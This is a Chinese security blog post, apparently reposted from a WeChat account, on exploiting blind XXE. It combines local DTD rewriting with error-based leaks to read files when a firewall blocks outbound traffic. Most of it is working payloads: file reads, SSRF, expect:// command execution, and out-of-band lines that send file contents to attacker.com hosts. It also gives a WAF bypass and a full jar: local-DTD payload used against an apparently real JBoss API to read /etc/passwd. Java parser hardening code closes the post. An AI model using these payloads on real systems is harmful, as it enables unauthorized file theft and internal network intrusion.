原创 | XXE利用:结合Local DTD和Error-Based技巧bypass防火墙

admin 2022年7月12日01:01:52评论11 views字数 7338阅读24分27秒阅读模式
点击蓝字



关注我们


一、概述


XXE是外部实体注入攻击,曾经的OWASP TOP 10之一。分为有回显的XXE和无回显的XXE。

XXE的原理十分简单,就是服务端xml解析器允许外部实体且未作限制,解析外部实体时遇到类似SYSTEM "URI"的关键字时,会去请求后面的URI。这部分已经很多人讲过了,算是比较基础的知识,这里不再赘述。

有回显的利用十分简单,然而实际需要的XXE问题很多都是无回显的。这种情况下一般会用到oob带外攻击来获取文件内容。但是随着网络结构的日益复杂和厂商对安全的逐步重视,有时会存在防火墙或网络隔离,导致服务器无法获取外部服务器上的恶意dtd文件,因为无法通过oob技术进一步利用。

此时可以通过LocalDTD和error-based来获取文件内容。该项技术由安全研究员Arseniy Sharoglazov在18年分享过,这里通过真实的漏洞来实际体验这个技巧,当然重点是在于防火墙的网络隔离限制bypass。


二、漏洞详情


2.1 XXE基础

XXE(XML External Entity),外部实体注入攻击,曾经的OWASP TOP 10之一,是当一种解析XML数据过程中发生的攻击。当XML解析的数据用户可控,且XML解析允许外部实体时,会存在的漏洞。

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是在无回显的情况下,也可以通过带外攻击或报错的的方式来获取文件内容。

常见的payload如下:
  • 文件读取

<!DOCTYPE foo [    <!ELEMENT foo ANY >    <!ENTITY xxe SYSTEM  "file:///etc/passwd" >]><foo>&xxe;</foo>
  • SSRF

<!DOCTYPE foo [    <!ELEMENT foo ANY >    <!ENTITY xxe SYSTEM  "http://victim.com/" >]><foo>&xxe;</foo>
  • RCE

    注意,这个需要服务端PHP开启expect模块才行。

<!DOCTYPE foo[    <!ELEMENT foo ANY >    <!ENTITY xxe SYSTEM "expect://id" > ]><creds><user>`&xxe;`</user><pass>`mypass`</pass></creds>

  • Blind XXE
    以上那些payload是针对服务端有回显的情况,在服务端无回显的情况下则无法读取到文件内容的。这种情况下一般有两种利用方法:error-based和out-of-bind。大致payload如下


  • out-of-band


<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd"> %xxe;]>
不过这种方法,对于有特殊字符的文件内容会读取失败。这种情况下可以利用php或
java的一些协议对文件内容进行编码压缩来进一步利用,某些情况下可以使用FTP
协议来代替HTTP协议进行利用。

  • error-based
    如果服务端会返回报错信息,则可以利用XML解析

    过程中的报错内容来获取文件内容,payload如下。


    <!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate;

    <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd"> %xxe;]>

2.2 Local DTD利用原理

1.OOB Failed
对于实际遇到的XXE,很大一部分都是无回显的。而对于Blind XXE,一般都是直接通过上面的payload,借助oob和报错来进行文件的读取。

但值得注意的是,由于现在网络架构的日益复杂,加之众多厂商安全意识的提高,有时可能会存在这么一种情况:攻击者服务器和目标服务器之间存在防火墙,从而导致目标服务器无法访问攻击者服务器上的dtd文件。简而言之,就是由于防火墙的限制,目标服务器无法访问攻击者的机器。

此时又该如何利用呢?可利用目标服务器上的Local DTD重写来进一步获取文件内容

2.Summary of Local DTD Technique
介绍一下Local DTD利用原理,大致如下:首先LocalDTD是指目标服务器本机上的DTD文件,因为是利用的目标服务器上已有的DTD文件,就在服务器本机上,因此根本无需出网,也就无视了防火墙的限制,无需考虑网络隔离的问题。

其次需要明白,内部实体是无法在一个参数实体中引用另一个参数实体的。比如下面这个payload
<?xml version="1.0" ?><!DOCTYPE message [     <!ENTITY % file SYSTEM "file:///etc/passwd">     <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">     %eval;     %error; ]><msg></msg>

就会产生如下报错:
 Internal Error: SAX Parser Error. Detail: The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD.

所以这种情况下,我们只能引用外部DTD文件。然而由于网络隔离,无法访问自定义的恶意DTD文件。所以就需要利用服务器本机的Local DTD重写来获得文件内容。

假设服务器上存在一个test.dtd文件,内容如下:

 <!ENTITY % condition "and | or | not | equal"><!ELEMENT pattern (%condition;)>
 
我们可以引用test.dtd,构造如下payload:
<?xml version="1.0" ?><!DOCTYPE message [     <!ENTITY % local_dtd SYSTEM "file:///etc/test.dtd">
<!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'>
%local_dtd; ]><msg>xxx</msg>

这是因为所有的XML实体都是常量,如果定义两个同名的实体,只有第一个才会被使用。如果我们再引用test.dtd后,再在payload中定义其中的参数实体condition,就会覆盖其原本的值。也即参数实体condition的内容被rewrite成了精心构造的payload的值。简单来说,很类似参数重赋值。

知道了这些,就可以基于此来进行利用。明确一下目标,我们需要找到一个服务器上存在的dtd文件,这个文件中要包含如下模式的实体定义:
 ..<!ENTITY % injectable "xxx"> ..<!ENTITY % foobar (%injectable;)> ..

那么现在问题又来了,如何寻找服务器上的这类DTD文件?

这并不难,很多linux系统都有一些通用的dtd文件,并且这些文件都是开源的。比如GNOME桌面环境就使用了/usr/share/yelp/dtd/docbookx.dtd

更加幸运的是,GoSecure发布了一个专门的查找工具,用起来很简单,可以帮助我们找到符合条件的Local DTD。

下面还列出了一些系统中普遍存在的Local DTD和其对应的payload。不过还是推荐gosecure提供的工具,很好用。

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"><!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'> %local_dtd;

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"><!ENTITY % Body '>Your DTD code<!ENTITY test "test"'> %local_dtd;

<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd"><!ENTITY % xs-datatypes 'Your DTD code'><!ENTITY % simpleType "a"><!ENTITY % restriction "b"><!ENTITY % boolean "(c)"><!ENTITY % URIref "CDATA"><!ENTITY % XPathExpr "CDATA"><!ENTITY % QName "NMTOKEN"><!ENTITY % NCName "NMTOKEN"><!ENTITY % nonNegativeInteger "NMTOKEN"> %local_dtd;
 

2.3 实际漏洞

在实际的某个网站测试过程中,观察到存在一个REST API是基于JSON传递数据的。

把请求包的Content-Type改成application/xml之后重放这个数据包,发现服务端(JBoss)抛出一段错误,大概是说希望解析XML,但是却提供了JSON。
原创 | XXE利用:结合Local DTD和Error-Based技巧bypass防火墙
所以尝试把请求包的body改成xml数据再次发送(在ctf中很常见了),不过由于现在大多数Web服务都会部署有WAF,所以最开始使用最简单的XML数据来判断服务端是否真的会解析xml数据。

使用以下数据进行重放,发现请求成功。
<root><id>123</id><name>tom</name></root>

然后,使用最简单的XXE payload试着打一下看结果。
<!DOCTYPE foo[     <!ENTITY x SYSTEM "file:///etc/passwd"> ]>
<root><id>1</id><name>&x;</name></root>

然而这段payload不幸的被WAF拦截了。不过在file://协议之前简单的加一个空格就能绕过去。payload如下:
<!DOCTYPE foo[     <!ENTITY x SYSTEM " file:///etc/passwd"> ]>
<root><id>1</id><name>&x;</name></root>

原创 | XXE利用:结合Local DTD和Error-Based技巧bypass防火墙
原创 | XXE利用:结合Local DTD和Error-Based技巧bypass防火墙

进一步尝试利用会发现:
  • 如果尝试读取类似/etc/shadow的文件,服务端会返回permission denied
  • 如果尝试读取不存在的文件,服务端会返回file not exists

到这里,基本就能确认XXE问题的存在。

但是如何进一步利用呢?服务端只会返回一些报错信息,并不会直接返回要读取文件的内容,可以是说是Blind XXE。

尝试利用HTTP OOB来读取文件,先用burp collaborator尝试一下看能不能访问。payload如下:
<!DOCTYPE foo[     <!ENTITY % x SYSTEM " http://xxxxxx.burpcollaborator.net">     %x; ]>
<root><id>1</id><name>tom</name></root>

结果发现没有访问记录,说明中间可能是存在防火墙或网络隔离,服务端并不能访问到外网的服务器。这样HTTP OOB的方法就不行了。

所以,接下来就要尝试前文提到的local dtd和error-based来利用了。

这里使用GoSecure的工具去探测服务器上可利用的Local DTD。
 $ docker export {container} -o jboss.tar $ java -jar dtd-finder-1.0-all.jar jboss.tar

原创 | XXE利用:结合Local DTD和Error-Based技巧bypass防火墙

通过这个工具找到了
/schema/xmlschema/XMLSchema.dtd中存在一个可注入的实体xs-datatypes

检查XMLSchema.dtd的文件内容:

 .... <!ENTITY % xs-datatypes PUBLIC 'datatypes' 'datatypes.dtd' > .... %xs-datatypes; <!--这里可以重写参数实体> ... ....

所以编写如下payload:

 
<!ENTITY % xs-datatypes '<!ENTITY % file SYSTEM " file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM ' file:///xyz/%file;'>"> %eval; %error; '>

由于是Java写的应用,可以使用jar协议来读取文件,这样可以有效防止文件中特殊字符导致的问题。payload如下:
<!DOCTYPE root [ <!ENTITY %  x SYSTEM  "jar:file:///jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd">  <!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM " file:///etc/passwd">         <!ENTITY % eval "<!ENTITY % error SYSTEM ' file:///xyz/%file;'>">         %eval;         %error; '> %x; ]><root><id>1</id><name>tom</name></root>


不过这里的payload,网站的展示有问题,以截图中的为准
原创 | XXE利用:结合Local DTD和Error-Based技巧bypass防火墙

然后就可以看到读取成功。
原创 | XXE利用:结合Local DTD和Error-Based技巧bypass防火墙


2.4 XXE的防御

防御的话基本就是禁用外部实体,比如golang原生的xml库就默认引用了外部实体。

不过本次漏洞是java的,而JAVA中解析XML常见的几个库有DOM、DOM4J、JDOM 和SAX等。

1.setFeature

feature表示解析器的功能,通过设置feature,我们可以控制解析器的行为。
// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击 setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);// 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在 setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体 setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体

还有就是就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自定义的DTD。代码大致如下:

public String xxe_SAXParser_fix(HttpServletRequest request) {try {             String xml_con = getBody(request);             System.out.println(xml_con);
SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); SAXParser parser = spf.newSAXParser(); parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xmlreturn "test"; } catch (Exception e) { System.out.println(e);return "except"; } }


三、总结

本篇文章介绍了各种XXE类型的利用方法,当然重点在于blind xxe的利用,简单介绍了error-based和oob这两种利用方法,着重强调了当存在防火墙无法访问外部dtd时,通过Local DTD rewrite和error-based技巧的结合,来对blind xxe进一步利用。




往期推荐


原创|CTF流量包题目总结

原创 |记一次对VAuditDemo平台的代码审计(中)

原创 | 记一次对VAuditDemo平台的代码审计(下)


原文始发于微信公众号(SecIN技术平台):原创 | XXE利用:结合Local DTD和Error-Based技巧bypass防火墙

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月12日01:01:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创 | XXE利用:结合Local DTD和Error-Based技巧bypass防火墙http://cn-sec.com/archives/1162100.html

发表评论

匿名网友 填写信息